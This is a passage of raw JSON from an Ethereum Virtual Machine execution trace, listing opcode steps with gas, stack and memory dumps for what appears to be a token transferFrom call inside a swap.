h":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x20","0x64","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e700000000000000000000000000000000000000000000000000000000"]},{"pc":15461,"op":"ISZERO","gas":95784,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x20","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e700000000000000000000000000000000000000000000000000000000"]},{"pc":15462,"op":"PUSH2","gas":95781,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x20","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e700000000000000000000000000000000000000000000000000000000"]},{"pc":15465,"op":"JUMPI","gas":95778,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x20","0x0","0x3c79"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e700000000000000000000000000000000000000000000000000000000"]},{"pc":15466,"op":"DUP2","gas":95768,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e700000000000000000000000000000000000000000000000000000000"]},{"pc":15467,"op":"DUP2","gas":95765,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x20","0x240"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e700000000000000000000000000000000000000000000000000000000"]},{"pc":15468,"op":"ADD","gas":95762,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x20","0x240","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e700000000000000000000000000000000000000000000000000000000"]},{"pc":15469,"op":"MLOAD","gas":95759,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x20","0x260"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e700000000000000000000000000000000000000000000000000000000"]},{"pc":15470,"op":"DUP4","gas":95756,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x20","0x40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e700000000000000000000000000000000000000000000000000000000"]},{"pc":15471,"op":"DUP3","gas":95753,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x20","0x40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","0x2e4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e700000000000000000000000000000000000000000000000000000000"]},{"pc":15472,"op":"ADD","gas":95750,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x20","0x40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","0x2e4","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e700000000000000000000000000000000000000000000000000000000"]},{"pc":15473,"op":"MSTORE","gas":95747,"gasCost":6,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x20","0x40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","0x304"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b